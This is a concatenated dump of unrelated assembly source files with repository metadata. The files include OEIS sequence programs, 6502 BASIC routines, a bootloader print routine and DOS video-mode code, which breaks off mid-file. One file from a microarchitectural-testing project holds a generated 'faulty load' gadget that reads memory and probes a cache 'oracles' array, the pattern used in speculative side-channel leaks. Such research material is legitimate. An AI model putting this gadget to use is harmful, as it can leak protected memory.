33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
43.875
2,999
0.661579
5aec4042791837dbc555b821f7cfbc62ab86bafe
2,103
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_39_1545.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_39_1545.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_39_1545.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x17168, %r14 nop nop and $56397, %rbp mov (%r14), %r13d nop nop nop nop nop add $33441, %rsi lea addresses_A_ht+0x19c18, %rsi lea addresses_A_ht+0xe0e8, %rdi nop add $14891, %r8 mov $52, %rcx rep movsb nop nop nop nop nop and %rsi, %rsi lea addresses_WC_ht+0x17f9e, %r8 nop nop nop nop nop sub %rbp, %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm5 vmovups %ymm5, (%r8) sub %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r9 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_WT+0x41a8, %rsi lea addresses_WT+0x1842c, %rdi nop nop add %r10, %r10 mov $27, %rcx rep movsw nop nop nop cmp %r9, %r9 // Faulty Load lea addresses_D+0xb0e8, %rax nop nop nop and %r12, %r12 vmovaps (%rax), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r10 lea oracles, %rcx and $0xff, %r10 shlq $12, %r10 mov (%rcx,%r10,1), %r10 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'00': 39} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
18.776786
147
0.651926
3a4978b4dd40852b144e90fac07b23b5bad84b65
461
asm
Assembly
oeis/120/A120882.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/120/A120882.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/120/A120882.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A120882: a(n) is the number of k's, for 1 <= k <= n, where gcd(k,floor(n/k)) = 1. ; Submitted by Christian Krause ; 1,2,3,3,4,6,7,6,6,8,9,10,11,13,14,12,13,14,15,15,17,19,20,19,19,21,20,20,21,27,28,25,26,28,29,28,29,31,33,31,32,36,37,37,36,38,39,37,37,38,39,39,40,40,42,41,43,45,46,49,50,52,52,48,49,54,55,55,56,60,61,57,58 add $0,1 mov $2,$0 lpb $0 max $0,1 mov $3,$2 div $3,$0 gcd $3,$0 sub $0,1 mul $3,$2 cmp $3,$2 add $1,$3 lpe mov $0,$1
25.611111
209
0.585683
c12f5fadc1d26cad21b62557db9a0509ac330ea0
369
asm
Assembly
programs/oeis/048/A048038.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/048/A048038.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/048/A048038.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A048038: Number of nonempty subsets of {1,2,...,n} in which exactly 1/2 of the elements are <= (n+1)/3. ; 0,1,2,3,9,14,20,55,83,119,329,494,714,2001,3002,4367,12375,18563,27131,77519,116279,170543,490313,735470,1081574,3124549,4686824,6906899,20030009,30045014,44352164,129024479,193536719,286097759 mov $2,$0 add $0,1 add $2,2 mov $1,$2 div $1,3 bin $0,$1 sub $0,1
33.545455
195
0.718157
9c526d5598a35fd12357323577c6bbfd539669a3
2,219
asm
Assembly
programs/oeis/027/A027966.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/027/A027966.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/027/A027966.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A027966: T(n, 2*n-4), T given by A027960. ; 1,4,11,26,54,101,174,281,431,634,901,1244,1676,2211,2864,3651,4589,5696,6991,8494,10226,12209,14466,17021,19899,23126,26729,30736,35176,40079,45476,51399,57881,64956,72659,81026,90094,99901,110486,121889,134151,147314,161421,176516,192644,209851,228184,247691,268421,290424,313751,338454,364586,392201,421354,452101,484499,518606,554481,592184,631776,673319,716876,762511,810289,860276,912539,967146,1024166,1083669,1145726,1210409,1277791,1347946,1420949,1496876,1575804,1657811,1742976,1831379,1923101,2018224,2116831,2219006,2324834,2434401,2547794,2665101,2786411,2911814,3041401,3175264,3313496,3456191,3603444,3755351,3912009,4073516,4239971,4411474,4588126,4770029,4957286,5150001,5348279,5552226,5761949,5977556,6199156,6426859,6660776,6901019,7147701,7400936,7660839,7927526,8201114,8481721,8769466,9064469,9366851,9676734,9994241,10319496,10652624,10993751,11343004,11700511,12066401,12440804,12823851,13215674,13616406,14026181,14445134,14873401,15311119,15758426,16215461,16682364,17159276,17646339,18143696,18651491,19169869,19698976,20238959,20789966,21352146,21925649,22510626,23107229,23715611,24335926,24968329,25612976,26270024,26939631,27621956,28317159,29025401,29746844,30481651,31229986,31992014,32767901,33557814,34361921,35180391,36013394,36861101,37723684,38601316,39494171,40402424,41326251,42265829,43221336,44192951,45180854,46185226,47206249,48244106,49298981,50371059,51460526,52567569,53692376,54835136,55996039,57175276,58373039,59589521,60824916,62079419,63353226,64646534,65959541,67292446,68645449,70018751,71412554,72827061,74262476,75719004,77196851,78696224,80217331,81760381,83325584,84913151,86523294,88156226,89812161,91491314,93193901,94920139,96670246,98444441,100242944,102065976,103913759,105786516,107684471,109607849,111556876,113531779,115532786,117560126,119614029,121694726,123802449,125937431,128099906,130290109,132508276,134754644,137029451,139332936,141665339,144026901,146417864,148838471,151288966,153769594,156280601,158822234,161394741,163998371,166633374 mov $1,$0 mov $2,2 mov $3,2 lpb $0,1 sub $0,1 add $3,$1 add $2,$3 add $4,1 add $1,$4 sub $1,1 lpe add $0,$2 add $0,4 mov $1,9 add $1,$0 sub $1,14
110.95
2,015
0.842722
9373877b12dc49641ba368735a97f0235c881de9
487
asm
Assembly
mshal/asm/hook.asm
BertoldVdb/ms-tools
9f068704fb15bd2b1766470361deb4e64ac36524
[ "MIT" ]
11
2021-09-07T19:35:33.000Z
2022-03-06T07:53:51.000Z
mshal/asm/hook.asm
BertoldVdb/ms-tools
9f068704fb15bd2b1766470361deb4e64ac36524
[ "MIT" ]
1
2021-11-23T11:32:49.000Z
2021-11-26T10:51:38.000Z
mshal/asm/hook.asm
BertoldVdb/ms-tools
9f068704fb15bd2b1766470361deb4e64ac36524
[ "MIT" ]
1
2022-03-06T07:54:44.000Z
2022-03-06T07:54:44.000Z
hookRun: MOV A, HID XRL A, R0 JNZ hookRet LCALL hookWork MOV HID+1, A MOV HID+2, R2 MOV HID+3, R3 MOV HID+4, R4 MOV HID+5, R5 MOV HID+6, R6 MOV HID+7, R7 MOV A, #0xFF RLC A MOV HID, A hookRet: RET hookWork: MOV DPH, HID+3 MOV DPL, HID+4 MOV R3, HID+3 MOV R4, HID+4 MOV R5, HID+5 MOV R6, HID+6 MOV R7, HID+7 MOV A, R7 RRC A MOV A, R7 PUSH HID+2 PUSH HID+1 RET ;Call address in HID+1
12.487179
27
0.531828
9e66f5a7c4870c04f34ff013f69c683bd686eb91
15
asm
Assembly
src/main/fragment/mos6502-common/vbuaa=vbuaa_band_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbuaa=vbuaa_band_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbuaa=vbuaa_band_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
sty $ff and $ff
7.5
7
0.666667
aa9f24f3610d1f5d5958fd914c7abc35dbe508e3
2,743
asm
Assembly
source/interaction/insert.asm
paulscottrobson/6502-basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
3
2021-09-30T19:34:11.000Z
2021-10-31T06:55:50.000Z
source/interaction/insert.asm
paulscottrobson/6502-Basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
null
null
null
source/interaction/insert.asm
paulscottrobson/6502-Basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
1
2021-12-07T21:58:44.000Z
2021-12-07T21:58:44.000Z
; ************************************************************************************************ ; ************************************************************************************************ ; ; Name: insert.asm ; Purpose: Insert line number esint0/1, at (codePtr), length tokenBufferIndex ; Created: 10th March 2021 ; Reviewed: 16th March 2021 ; Author: Paul Robson (paul@robsons.org.uk) ; ; ************************************************************************************************ ; ************************************************************************************************ .section code ; ************************************************************************************************ ; ; Insert line esInt0/1 from program ; Tokenised code is at (codePtr), length is in tokenBufferIndex (not including offset,line#) ; ; ************************************************************************************************ InsertLine: ; ; Find insert point. which is first line# > insert line#. Cannot be equal ; already would have been deleted. ; lda basePage ; copy program base to temp0 sta temp0 lda basePage+1 sta temp0+1 _ILLoop: ; insert position is first line# > required ldy #1 lda (temp0),y cmp esInt0 iny lda (temp0),y sbc esInt1 bcs _ILFound ; we know it cannot be equal, it would have been deleted jsr IAdvanceTemp0 ; shift temp0 forward, return Z flag set if end. bne _ILLoop _ILFound: ; (temp0) points to the insert point. ; ; Make space for new line. ; lda lowMemory ; shift lowMemory up to make space for it. sta temp1 ; this pointer goes backwards lda lowMemory+1 sta temp1+1 ; lda tokenBufferIndex ; space to make in Y, 0 in X. clc ; add 3 for the line number and offset. adc #3 ; tokenbuffer already has $80 tay ldx #0 _ILMove:lda (temp1,x) ; shift up sta (temp1),y ; lda temp1 ; check reached the insert point ? cmp temp0 bne _ILMNext lda temp1+1 cmp temp0+1 beq _ILMCopy ; _ILMNext: ; decrement temp1 copying pointer if not lda temp1 bne _ILNoBorrow dec temp1+1 _ILNoBorrow: dec temp1 jmp _ILMove ; and go round again ; ; Copy code into new line. ; _ILMCopy: tya ; Y is the offset of the new line. sta (temp0,x) ; X = 0 still. ; ldy #1 ; copy in line number. lda esInt0 sta (temp0),y iny lda esInt1 sta (temp0),y ; ldy #0 ; copy the body in _ILMCopy2: lda (codePtr),y iny iny iny sta (temp0),y dey dey cpy tokenBufferIndex bne _ILMCopy2 rts .send code
27.43
98
0.483777
286174d0062d0c77445bd85a39b2c23960f8bcde
1,239
asm
Assembly
汇编语言/实验/exp3/3.asm
wine99/hfut-cs-assignments
77ebe4b5fe613f90eb54b8bdcfd1d8afbbd321da
[ "MIT" ]
56
2020-05-28T15:21:47.000Z
2022-03-29T08:54:55.000Z
汇编语言/实验/exp3/3.asm
wine99/hfut-cs-assignments
77ebe4b5fe613f90eb54b8bdcfd1d8afbbd321da
[ "MIT" ]
2
2020-05-29T03:49:05.000Z
2021-08-04T00:43:26.000Z
汇编语言/实验/exp3/3.asm
wine99/hfut-cs-assignments
77ebe4b5fe613f90eb54b8bdcfd1d8afbbd321da
[ "MIT" ]
14
2021-05-22T04:52:47.000Z
2022-03-29T08:55:00.000Z
.model small .stack 100h .data str db 50 dup(0) y db 'Yes$' n db 'No$' a db 0 s db 0 m db 0 crlf db 0dh, 0ah, '$' .code printStr MACRO strAddr push dx push ax lea dx, strAddr mov ah, 9 int 21h pop ax pop dx ENDM findAsm proc .IF m == 1 ret .ENDIF .IF a == 0 .IF al == 'a' mov a, 1 .ENDIF ret .ENDIF .IF s == 0 .IF al == 's' mov s, 1 ret .ENDIF .IF al == 'a' ret .ENDIF mov a, 0 ret .ENDIF .IF al == 'a' mov s, 0 ret .ENDIF .IF al == 'm' mov m, 1 ret .ENDIF .IF al == 'a' mov s, 0 ret .ENDIF mov a, 0 mov s, 0 ret findAsm endp start: mov ax, @data mov ds, ax mov di, 0 lea bx, str input: mov ah, 1 int 21h call findAsm mov [bx + di], al inc di cmp al, 0dh jne input mov [bx + di], 0ah inc di mov [bx + di], '$' printStr crlf printStr str .IF m == 1 printStr y .ELSE printStr n .ENDIF mov ah, 4ch int 21h end start
13.042105
25
0.411622
eef356d22714a5001292f7d1f9f9225c646b63b3
875
asm
Assembly
programs/oeis/188/A188075.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/188/A188075.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/188/A188075.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A188075: Positions of 0 in the zero-one sequence [nr]-[4r]-[nr-4r], where r=sqrt(3), n>=1. ; 4,15,30,45,56,71,86,101,112,127,142,157,168,183,198,209,224,239,254,265,280,295,310,321,336,351,366,377,392,407,418,433,448,463,474,489,504,519,530,545,560,575,586,601,616,627,642,657,672,683,698,713,728,739,754,769,780,795,810,825,836,851,866,881,892,907,922,937,948,963,978,989 mov $2,$0 add $2,1 mov $9,$0 lpb $2 mov $0,$9 sub $2,1 sub $0,$2 mov $5,$0 mov $7,2 lpb $7 mov $0,$5 sub $7,1 add $0,$7 sub $0,1 pow $0,2 mul $0,3 mov $3,8 mov $4,0 lpb $0 sub $0,1 add $4,2 trn $0,$4 mov $3,$4 lpe mov $4,$3 mov $8,$7 lpb $8 mov $6,$4 sub $8,1 lpe lpe lpb $5 mov $5,0 sub $6,$4 lpe mov $4,$6 trn $4,2 div $4,2 mul $4,4 add $4,11 add $1,$4 lpe sub $1,19
18.617021
281
0.537143
7b6d79037cb91ed62c105c1dfb1834e318528806
2,046
asm
Assembly
src/boot/text/puts.asm
richgieg/RichOS
32f12f112355e23866ccb71b0c2af24ef42a1218
[ "MIT" ]
5
2015-08-18T18:47:48.000Z
2017-08-28T19:14:17.000Z
src/boot/text/puts.asm
richgieg/RichOS
32f12f112355e23866ccb71b0c2af24ef42a1218
[ "MIT" ]
null
null
null
src/boot/text/puts.asm
richgieg/RichOS
32f12f112355e23866ccb71b0c2af24ef42a1218
[ "MIT" ]
null
null
null
;//////////////////////////////////////////////////////////////////////////////; ;/// void puts(const char * s, int offset) ///; ;//////////////////////////////////////////////////////////////////////////////; ; Label for procedure. puts: ;//////////////////////////////////////////////////////////////////////////////; ;/// Initialization code. ///; ;//////////////////////////////////////////////////////////////////////////////; ; Create stack frame. push bp mov bp,sp ; Define aliases for arguments. %define .arg0 bp+4 %define .arg1 bp+6 ; Define aliases for local variables. %define .s bp-4 %define .offset bp-2 ; Allocate space for local variables on the stack. sub sp,4 ; Make local copies of arguments. mov ax,[.arg0] mov [.c],ax mov ax,[.arg1] mov [.offset],ax ; Preserve register state. push bx push dx ;//////////////////////////////////////////////////////////////////////////////; ;/// Procedure code. ///; ;//////////////////////////////////////////////////////////////////////////////; mov bx,[.s] mov dx,[.offset] .loop: mov al,[bx] test al,al jz .exit push dx push ax call putc add sp,4 inc bx inc dx jmp .loop .exit: ;//////////////////////////////////////////////////////////////////////////////; ;/// Deinitialization code. ///; ;//////////////////////////////////////////////////////////////////////////////; ; Restore register state. pop dx pop bx ; Free local variable stack space. add sp,4 ; Release stack frame and return. pop bp ret
28.816901
80
0.273705
a2a7793d293efcf5731f0c640ccf92ff4c404e16
363
asm
Assembly
oeis/040/A040693.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/040/A040693.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/040/A040693.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A040693: Continued fraction for sqrt(720). ; Submitted by Jon Maiga ; 26,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1,52,1,4,1 gcd $0,262156 mul $0,42 mod $0,13 mov $1,$0 add $0,4 add $1,3 div $1,5 mul $1,21 add $0,$1 sub $0,27
24.2
190
0.597796
49180795d8c2bbcae1e43e6090933f19581b387c
842
asm
Assembly
programs/oeis/144/A144844.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/144/A144844.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/144/A144844.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A144844: a(n) = ((2 + sqrt(2))^n - (2 - sqrt(2))^n)^2/8. ; 0,1,16,196,2304,26896,313600,3655744,42614784,496754944,5790601216,67500196864,786839961600,9172078759936,106917585289216,1246322708463616,14528202160472064,169353135091941376,1974124812461670400,23012085209172803584,268248523260228009984,3126933938286047002624,36450213166391656185856,424894822243555694608384,4952937014257101727334400,57735664882110997983133696,673016230528303568955375616,7845252106811198835666190336,91450960359621171752441217024,1066030515888209265687166713856,12426562349220026501237309440000,144854626127087480952101193908224,1688549264128169665420269384105984,19683172665029686061234836423573504,229443874923843554073136976726327296 seq $0,60995 ; Number of routes of length 2n on the sides of an octagon from a point to opposite point. pow $0,2 div $0,4
120.285714
659
0.875297
187ce2e7c146417d7731b4e7aafc025268f00df5
326
asm
Assembly
oeis/074/A074367.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/074/A074367.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/074/A074367.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A074367: (p^2-5)/4 for odd primes p. ; Submitted by Jon Maiga ; 1,5,11,29,41,71,89,131,209,239,341,419,461,551,701,869,929,1121,1259,1331,1559,1721,1979,2351,2549,2651,2861,2969,3191,4031,4289,4691,4829,5549,5699,6161,6641,6971,7481,8009,8189,9119,9311,9701,9899,11129 seq $0,65091 ; Odd primes. pow $0,2 sub $0,3 div $0,4
36.222222
206
0.720859
3a88208e2258674fba4ee3d24dd114fd5e17505b
5,424
asm
Assembly
Tools/swat/curses/dosmode.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Tools/swat/curses/dosmode.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Tools/swat/curses/dosmode.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: dosmode.asm AUTHOR: Adam de Boor, Jul 26, 1992 ROUTINES: Name Description ---- ----------- DosModeSet25Line DosModeSet43Line DosModeSet50Line REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 7/26/92 Initial revision DESCRIPTION: Functions for changing the video mode. $Id: dosmode.asm,v 1.1 92/07/26 16:46:46 adam Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ _CODE segment dword public 'CODE' CGROUP group _CODE assume cs:CGROUP include dosx.ah COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DosModeSet25Line %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change the screen to be 25-lines high CALLED BY: EXTERNAL PASS: nothing RETURN: nothing DESTROYED: eax, ecx, fs PSEUDO CODE/STRATEGY: This code comes from p.575 of "Programmer's Guide to the EGA and VGA Cards", by Richard F. Ferraro KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 7/26/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ public DosModeSet25Line DosModeSet25Line proc near push ebx ; ; Fetch current page. ; mov ah, 0fh int 10h mov bl, bh push bx ; ; Make page 0 the active one ; mov ax, 0500h int 10h ; ; Load 8x14 font in block 0 ; mov ax, 1111h mov bl, 0 int 10h ; ; Set bit 0 of 0:487h non-zero to enable cursor emulation ; mov ax, SS_DOSMEM mov fs, ax or byte ptr fs:[487h], 1 ; ; Set cursor position to a three-line underline from 11 to 14 ; mov cx, 0b0dh mov ah, 1 int 10h ; ; Reset bit 0 of 487h to disable cursor emulation. ; and byte ptr fs:[487h], not 1 ; ; Adjust the underline location. ; mov dx, 3d4h mov al, 14h out dx, al inc dx mov al, 0dh out dx, al ; ; Reset the active page to its previous value. ; pop ax mov ah, 5 int 10h pop ebx ret DosModeSet25Line endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DosModeSet43Line %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change the screen to be 43-lines high CALLED BY: EXTERNAL PASS: nothing RETURN: nothing DESTROYED: eax, ecx, fs PSEUDO CODE/STRATEGY: This code comes from p.576 of "Programmer's Guide to the EGA and VGA Cards", by Richard F. Ferraro KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 7/26/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ public DosModeSet43Line DosModeSet43Line proc near push ebx ; ; Fetch current page. ; mov ah, 0fh int 10h mov bl, bh push bx ; ; Make page 0 the active one ; mov ax, 0500h int 10h ; ; Load 8x8 font in block 0 ; mov ax, 1112h mov bl, 0 int 10h ; ; Set bit 0 of 0:487h non-zero to enable cursor emulation ; mov ax, SS_DOSMEM mov fs, ax or byte ptr fs:[487h], 1 ; ; Set cursor position to a three-line underline from 0 to 6 ; mov cx, 0006h mov ah, 1 int 10h ; ; Reset bit 0 of 487h to disable cursor emulation. ; and byte ptr fs:[487h], not 1 ; ; Adjust the underline location. ; mov dx, 3d4h mov al, 14h out dx, al inc dx mov al, 07h ; set underline to line 7 out dx, al ; ; Reset the active page to its previous value. ; pop ax mov ah, 5 int 10h pop ebx ret DosModeSet43Line endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DosModeSet50Line 